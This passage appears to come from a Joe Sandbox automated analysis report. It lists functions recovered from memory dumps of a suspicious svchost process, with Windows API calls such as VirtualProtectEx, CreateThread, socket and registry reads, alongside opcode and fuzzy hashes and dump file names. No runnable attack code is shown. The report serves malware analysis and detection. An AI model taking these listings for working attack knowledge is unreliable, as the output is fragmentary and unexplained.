Part of subcall function 00000173D03B3CA4: GetModuleHandleW.KERNEL32(?,?,?,?,?,00000173D03B3837), ref: 00000173D03B3CB2
Part of subcall function 00000173D03B3CA4: GetCurrentProcess.KERNEL32(?,?,?,?,?,00000173D03B3837), ref: 00000173D03B3CE0
Part of subcall function 00000173D03B3CA4: VirtualProtectEx.KERNEL32(?,?,?,?,?,00000173D03B3837), ref: 00000173D03B3D02
Part of subcall function 00000173D03B3CA4: GetCurrentProcess.KERNEL32(?,?,?,?,?,00000173D03B3837), ref: 00000173D03B3D1D
Part of subcall function 00000173D03B3CA4: VirtualProtectEx.KERNEL32(?,?,?,?,?,00000173D03B3837), ref: 00000173D03B3D3E

CreateThread.KERNELBASE ref: 00000173D03B3867

Part of subcall function 00000173D03B1E38: GetCurrentThread.KERNEL32 ref: 00000173D03B1E43

Memory Dump Source

Source File: 00000010.00000002.2560283707.00000173D03B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000173D03B0000, based on PE: true

Associated: 00000010.00000002.2559994947.00000173D03B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2560836688.00000173D03C6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2561560882.00000173D03D1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2561932402.00000173D03D3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2562469981.00000173D03D9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d03b0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c4f51b7847a1f98021941fe9320a796c4d22ffdd32b47b35cb34ea0b9caf4340
Instruction ID: 6c6cffe8d40b8be3d238ae78d82b0008e1bc36cf584fe8d2676f900ba12deed7
Opcode Fuzzy Hash: c4f51b7847a1f98021941fe9320a796c4d22ffdd32b47b35cb34ea0b9caf4340
Instruction Fuzzy Hash: D4112D3061862081FB7AE7E1E6053D9A2B2AB54FC9FC04119A83E811A5DFFAC308A611

Function 00000173D01582D0 Relevance: 4.5, APIs: 3, Instructions: 37networkCOMMON

Download Yara Rule

APIs

SleepEx.KERNELBASE ref: 00000173D01582F4
getsockopt.WS2_32 ref: 00000173D0158317
WSAGetLastError.WS2_32 ref: 00000173D0158321

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLastSleepgetsockopt
String ID:
API String ID: 3033474312-0
Opcode ID: d3007daa6ba1534bb993b4a9225aa4e7a98e22bbefaf495e1ef6b3d265cceca8
Instruction ID: c8542c793d32793b661650a80b1e1729c4b4c4bf5de9b2f3f86690318f9cc4e5
Opcode Fuzzy Hash: d3007daa6ba1534bb993b4a9225aa4e7a98e22bbefaf495e1ef6b3d265cceca8
Instruction Fuzzy Hash: F501443520C64187E7B08F95E4487AAE7B0F745FC4FE44024EA9D46BA4EB7DC545DB00

Function 00000173D01687F0 Relevance: 4.5, APIs: 3, Instructions: 26COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000173D015AAE9), ref: 00000173D01687FB
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,00000173D015AAE9), ref: 00000173D0168821
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,00000173D015AAE9), ref: 00000173D0168835

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ExclusiveLock$Release$Acquire
String ID:
API String ID: 1021914862-0
Opcode ID: 5c02fb6c1fcb24a16d6f55f71e277d5c4db8b3561b8eb6c272e01fb65b4a3692
Instruction ID: e776fac5961d1524ed16e2f2ee6fd923f66027fed342ceffe4a9ae31a44a7bfc
Opcode Fuzzy Hash: 5c02fb6c1fcb24a16d6f55f71e277d5c4db8b3561b8eb6c272e01fb65b4a3692
Instruction Fuzzy Hash: 91F0543862844595FB24ABA5ECE43EAA2B4BB95F84FC00020D02E861A4FF6CC749E350

Function 00000173CFC10EE0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

swprintf_s.PGOCR ref: 00000173CFC10F92

Strings

%, xrefs: 00000173CFC10F09

Memory Dump Source

Source File: 00000010.00000002.2555978653.00000173CFC01000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173CFC00000, based on PE: true

Associated: 00000010.00000002.2555926187.00000173CFC00000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556090829.00000173CFC55000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556158270.00000173CFC86000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556223268.00000173CFC8A000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556223268.00000173CFC8F000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173cfc00000_svchost.jbxd

Similarity

API ID: swprintf_s
String ID: %
API String ID: 3896565401-2567322570
Opcode ID: ec58da689996205f5b274bb9e7b14e4efa8a6914dc8b0300c4614caad90e7c10
Instruction ID: 6a0982112ed6e03d1b1d3d1fea3d9b6148c94cb0c0e9246db351840e7159bdd4
Opcode Fuzzy Hash: ec58da689996205f5b274bb9e7b14e4efa8a6914dc8b0300c4614caad90e7c10
Instruction Fuzzy Hash: B621042330C7C489E7229711E4413EEBBA1E799784F48C126EECC17B89CB2DC649DB01

Function 00000173CFC0F1E0 Relevance: 3.3, APIs: 2, Instructions: 278COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00000173CFC0F2E5
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173CFC0F595

Part of subcall function 00000173CFC11BD0: memmove.VCRUNTIME140(?,?,?,?,?,00000173CFC0C32B), ref: 00000173CFC11C2B
Part of subcall function 00000173CFC11BD0: memset.VCRUNTIME140(?,?,?,?,?,00000173CFC0C32B), ref: 00000173CFC11C38

Memory Dump Source

Source File: 00000010.00000002.2555978653.00000173CFC01000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173CFC00000, based on PE: true

Associated: 00000010.00000002.2555926187.00000173CFC00000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556090829.00000173CFC55000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556158270.00000173CFC86000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556223268.00000173CFC8A000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556223268.00000173CFC8F000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173cfc00000_svchost.jbxd

Similarity

API ID: memset$_invalid_parameter_noinfo_noreturnmemmove
String ID:
API String ID: 48703092-0
Opcode ID: 7ac7dec8e432cadfef363c3504a8cc20af8e12a7f67f43d9dcca2cd8afac82e6
Instruction ID: 3486a4b7bb2cc9a9180c16b1fb2dc0b6428d1187234472cabdbe7694fcd0415f
Opcode Fuzzy Hash: 7ac7dec8e432cadfef363c3504a8cc20af8e12a7f67f43d9dcca2cd8afac82e6
Instruction Fuzzy Hash: DAC14B33B08B958AFB12DFA5D5403DC6771E748B98F408912DEAD27B59DE38C68AD340

Function 00000173CFC0F5D0 Relevance: 3.1, APIs: 2, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00000173CFC36700: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00000173CFC03B13,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00000173CFC3670F

realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,0000003F,00000173CFC33E56,?,?,0000003F,00000000,?,0000003F,?,00000173CFC0FD86), ref: 00000173CFC0F61C
Concurrency::cancel_current_task.LIBCPMT ref: 00000173CFC0F6B6

Memory Dump Source

Source File: 00000010.00000002.2555978653.00000173CFC01000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173CFC00000, based on PE: true

Associated: 00000010.00000002.2555926187.00000173CFC00000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556090829.00000173CFC55000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556158270.00000173CFC86000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556223268.00000173CFC8A000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556223268.00000173CFC8F000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173cfc00000_svchost.jbxd

Similarity

API ID: Concurrency::cancel_current_task_lock_localesrealloc
String ID:
API String ID: 2876910798-0
Opcode ID: 19c73d847408eb0d63e69c3f329de917da05adc446da4c3d1267b2b1ff8aaf5f
Instruction ID: 271695acfe6bf9677f0c97485150084ab31ff6dfc68d93b4868020f5535c8f82
Opcode Fuzzy Hash: 19c73d847408eb0d63e69c3f329de917da05adc446da4c3d1267b2b1ff8aaf5f
Instruction Fuzzy Hash: 14417937309B4982EB15DF15E5803996370F788FC4F448922DAAE23B68DE39CA56E340

Function 00000173CFC0F6C0 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173CFC0F731

Part of subcall function 00000173CFC04E20: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00000173CFC05D4B), ref: 00000173CFC04E37
Part of subcall function 00000173CFC04E20: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00000173CFC05D4B), ref: 00000173CFC04E4B
Part of subcall function 00000173CFC04E20: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00000173CFC05D4B), ref: 00000173CFC04E5F
Part of subcall function 00000173CFC04E20: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00000173CFC05D4B), ref: 00000173CFC04E73
Part of subcall function 00000173CFC04E20: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00000173CFC05D4B), ref: 00000173CFC04E87
Part of subcall function 00000173CFC04E20: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00000173CFC05D4B), ref: 00000173CFC04E9B

Concurrency::cancel_current_task.LIBCPMT ref: 00000173CFC0F792

Part of subcall function 00000173CFC39D20: _CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,00000173CFC51B71,?,?,00000000,00000173CFC05CE8), ref: 00000173CFC39D3A

Memory Dump Source

Source File: 00000010.00000002.2555978653.00000173CFC01000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173CFC00000, based on PE: true

Associated: 00000010.00000002.2555926187.00000173CFC00000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556090829.00000173CFC55000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556158270.00000173CFC86000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556223268.00000173CFC8A000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556223268.00000173CFC8F000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173cfc00000_svchost.jbxd

Similarity

API ID: free$Concurrency::cancel_current_taskExceptionThrowmalloc
String ID:
API String ID: 2506944222-0
Opcode ID: 8c1d8eb806682c77dd72749f47572942c8448acf976269ac0f3bfc27fc70cc4c
Instruction ID: e82d786c15c00f9d881247b9e779559b10206456a172a622e0bf05056d169f5f
Opcode Fuzzy Hash: 8c1d8eb806682c77dd72749f47572942c8448acf976269ac0f3bfc27fc70cc4c
Instruction Fuzzy Hash: 0B219237309B4692EA22DB15E5907D96370FB84B80F44CD23CAED53B65DF28C656E301

Function 00000173D01743B0 Relevance: 3.0, APIs: 2, Instructions: 41networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00000173D017440D

Part of subcall function 00000173D01743B0: closesocket.WS2_32 ref: 00000173D017442E

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: closesocketsocket
String ID:
API String ID: 2760038618-0
Opcode ID: 27b388f8f4bc6737c7fb520ec9b203deaa45030ab93c0741097e461f5fa6597e
Instruction ID: a4445b3bba25b0319ba5e55d2dd114ffcceaad2adc473ed5aa85760d5e04c904
Opcode Fuzzy Hash: 27b388f8f4bc6737c7fb520ec9b203deaa45030ab93c0741097e461f5fa6597e
Instruction Fuzzy Hash: E301D1267056C0C7FB6547E6E0C53E91760AB95FB0F4C82748A3E167E1DB6849D5A300

Function 00000173D0168EA0 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32 ref: 00000173D0168EAF
ReleaseSRWLockExclusive.KERNEL32 ref: 00000173D0168EC7

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID:
API String ID: 17069307-0
Opcode ID: 39a519f4624760cd79ac458549f5595ef9daf227755beea38229d5db3c9119c4
Instruction ID: 00fdf4b1800da78a98fea4205ddbf76c1940dba4cdf94c9264fb7a08892eb316
Opcode Fuzzy Hash: 39a519f4624760cd79ac458549f5595ef9daf227755beea38229d5db3c9119c4
Instruction Fuzzy Hash: 82D0173871864482EB256BE0E8D43E86274A759B54FC41024C83E46351FBA88A8CE310

Function 00000173D03B3D58 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

StrCmpNIW.KERNELBASE(?,?,?,00000173D03B272E), ref: 00000173D03B3D70

Strings

$LMX, xrefs: 00000173D03B3D69

Memory Dump Source

Source File: 00000010.00000002.2560283707.00000173D03B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000173D03B0000, based on PE: true

Associated: 00000010.00000002.2559994947.00000173D03B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2560836688.00000173D03C6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2561560882.00000173D03D1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2561932402.00000173D03D3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2562469981.00000173D03D9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d03b0000_svchost.jbxd

Similarity

API ID:
String ID: $LMX
API String ID: 0-1475574623
Opcode ID: b4da42a706a87f17c2f2cfefd8112183663bfed5671a2c80788db3ec5171a75c
Instruction ID: 23979416cc364d5db9e864ebd8044e3b2ef856530086ef227bd990b2b5b63ad1
Opcode Fuzzy Hash: b4da42a706a87f17c2f2cfefd8112183663bfed5671a2c80788db3ec5171a75c
Instruction Fuzzy Hash: D3D05E30716645C6EB79DFE5CAC46E0A3709B04F88FC88029992941110D79A9A9DE610

Function 00000173D01898C0 Relevance: 2.6, APIs: 2, Instructions: 84COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01898FE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0189916

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 72d2dbb8c05805521502d31913c7e2dcfda900fa91af8ab57f2baabed37d7821
Instruction ID: 25752253c70731ffcba9fb4cc49b3624c368427b958c1748a6ce3dab28b7a23b
Opcode Fuzzy Hash: 72d2dbb8c05805521502d31913c7e2dcfda900fa91af8ab57f2baabed37d7821
Instruction Fuzzy Hash: E831E43630C64095EA68ABA6D5C03EDA6B0F749FC4F880025EF6E07785FF69C651A350

Function 00000173D0382C98 Relevance: 1.7, APIs: 1, Instructions: 240libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 00000173D0382E0A

Memory Dump Source

Source File: 00000010.00000003.1588552176.00000173D0380000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000173D0380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_173d0380000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c8def6fedd9c5836e92fabc2dd1894f4ed18aaca8c094442d268cbce729e04a9
Instruction ID: ba700a2fca9e2e4f90a47902013e61597943d77929cb7caf7ffffa12b04031df
Opcode Fuzzy Hash: c8def6fedd9c5836e92fabc2dd1894f4ed18aaca8c094442d268cbce729e04a9
Instruction Fuzzy Hash: 97911072B0525187EB648FA5D280BADB3B1FB40FD4F8481609F6E07784DB79EA52E700

Function 00000173D03B1BC0 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00000173D03B1724: GetProcessHeap.KERNEL32 ref: 00000173D03B172F
Part of subcall function 00000173D03B1724: HeapAlloc.KERNEL32 ref: 00000173D03B173E
Part of subcall function 00000173D03B1724: RegOpenKeyExW.ADVAPI32 ref: 00000173D03B17AE
Part of subcall function 00000173D03B1724: RegOpenKeyExW.ADVAPI32 ref: 00000173D03B17DB
Part of subcall function 00000173D03B1724: RegCloseKey.ADVAPI32 ref: 00000173D03B17F5
Part of subcall function 00000173D03B1724: RegOpenKeyExW.ADVAPI32 ref: 00000173D03B1815
Part of subcall function 00000173D03B1724: RegCloseKey.ADVAPI32 ref: 00000173D03B1830
Part of subcall function 00000173D03B1724: RegOpenKeyExW.ADVAPI32 ref: 00000173D03B1850
Part of subcall function 00000173D03B1724: RegCloseKey.ADVAPI32 ref: 00000173D03B186B
Part of subcall function 00000173D03B1724: RegOpenKeyExW.ADVAPI32 ref: 00000173D03B188B
Part of subcall function 00000173D03B1724: RegCloseKey.ADVAPI32 ref: 00000173D03B18A6
Part of subcall function 00000173D03B1724: RegOpenKeyExW.ADVAPI32 ref: 00000173D03B18C6

SleepEx.KERNELBASE ref: 00000173D03B1BDB

Part of subcall function 00000173D03B1724: RegCloseKey.ADVAPI32 ref: 00000173D03B18E1
Part of subcall function 00000173D03B1724: RegOpenKeyExW.ADVAPI32 ref: 00000173D03B1901
Part of subcall function 00000173D03B1724: RegCloseKey.ADVAPI32 ref: 00000173D03B191C
Part of subcall function 00000173D03B1724: RegOpenKeyExW.ADVAPI32 ref: 00000173D03B193C
Part of subcall function 00000173D03B1724: RegCloseKey.ADVAPI32 ref: 00000173D03B1957
Part of subcall function 00000173D03B1724: RegOpenKeyExW.ADVAPI32 ref: 00000173D03B1977
Part of subcall function 00000173D03B1724: RegCloseKey.ADVAPI32 ref: 00000173D03B1992
Part of subcall function 00000173D03B1724: RegCloseKey.ADVAPI32 ref: 00000173D03B199C

Memory Dump Source

Source File: 00000010.00000002.2560283707.00000173D03B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000173D03B0000, based on PE: true

Associated: 00000010.00000002.2559994947.00000173D03B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2560836688.00000173D03C6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2561560882.00000173D03D1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2561932402.00000173D03D3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2562469981.00000173D03D9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d03b0000_svchost.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: c734f778ebace249d11891a89cc237880a62daafbc4a5d84d80dcf23aa596c60
Instruction ID: 50c5c79aded8a30942cffc8ac8b74a1e4900b60efe01ecfe701284cbe0691cc6
Opcode Fuzzy Hash: c734f778ebace249d11891a89cc237880a62daafbc4a5d84d80dcf23aa596c60
Instruction Fuzzy Hash: E431717130860441FB739FA2D7403EDD3B0AB84FC8FD454218E2D8769ADFA2CA50A350

Function 00000173D0158230 Relevance: 1.5, APIs: 1, Instructions: 46networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00000173D0158283

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: socket
String ID:
API String ID: 98920635-0
Opcode ID: 4b996f48484ad4d943085cdf321c2f5f56c4e47a803c815960622bae58fff54d
Instruction ID: 85ac370fe7c2642e42f65863f53e112ce28b7edd5ffc546a91c360c329e0cb29
Opcode Fuzzy Hash: 4b996f48484ad4d943085cdf321c2f5f56c4e47a803c815960622bae58fff54d
Instruction Fuzzy Hash: 80118236708A80C2D7648FA6E184399B7B1F748FE4F888620DBAD57B94DF38D591D700

Function 00000173D0158110 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 00000173D0158184

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: f5e5c931f568ed04444b0b36d0a8910c15cb7555877ea71fb8bd6f2f63156bad
Instruction ID: ac9e1fe8e9a7d0147c3bdf9fe5a847a79d73fdba19f5f9fbb7c86d4e4c2e860f
Opcode Fuzzy Hash: f5e5c931f568ed04444b0b36d0a8910c15cb7555877ea71fb8bd6f2f63156bad
Instruction Fuzzy Hash: FB01963571865041EA649796E48839A9270F748FE4F8C5320AE3E5BBD9EF28C5915700

Function 00000173CFC2E310 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00000173CFC2E319

Part of subcall function 00000173CFC03080: GetLocaleInfoEx.KERNELBASE ref: 00000173CFC030A3

Memory Dump Source

Source File: 00000010.00000002.2555978653.00000173CFC01000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173CFC00000, based on PE: true

Associated: 00000010.00000002.2555926187.00000173CFC00000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556090829.00000173CFC55000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556158270.00000173CFC86000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556223268.00000173CFC8A000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556223268.00000173CFC8F000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173cfc00000_svchost.jbxd

Similarity

API ID: InfoLocale___lc_locale_name_func
String ID:
API String ID: 3366915261-0
Opcode ID: f321fbd6428a595b6038f718f98f2583b86d447d5f6d195c715a18383540869d
Instruction ID: 99140b91e00974be83252a423111522e3f1ce97f17df162e65bef14edb4307fe
Opcode Fuzzy Hash: f321fbd6428a595b6038f718f98f2583b86d447d5f6d195c715a18383540869d
Instruction Fuzzy Hash: 1AF08C3372D042C2E36A5A28C0947F912B0F384702F458907E1DE722A0C618D744E601

Function 00000173D01648E0 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

_beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D01648FB

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: _beginthreadex
String ID:
API String ID: 3014514943-0
Opcode ID: 12d530c60010292d5cdc75557250193eb43d1c307b29f796c6545e99bf5471df
Instruction ID: 13591cc2fc31543e8262d2419cf3aeb6f509bcf6ee9655bb366dee95d8c6d63c
Opcode Fuzzy Hash: 12d530c60010292d5cdc75557250193eb43d1c307b29f796c6545e99bf5471df
Instruction Fuzzy Hash: D3E0C266B1974083EF345FB2AC41256E3916B4CBB1F8C473C5D7C467E0E73C92918810

Function 00000173D03BD26C Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00000173D03BCBA2,?,?,?,00000173D03BD255,?,?,?,?,00000173D03BD318), ref: 00000173D03BD2C1

Memory Dump Source

Source File: 00000010.00000002.2560283707.00000173D03B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000173D03B0000, based on PE: true

Associated: 00000010.00000002.2559994947.00000173D03B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2560836688.00000173D03C6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2561560882.00000173D03D1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2561932402.00000173D03D3000.00000002.00001000.00020000.00000000.sdmpDownload File
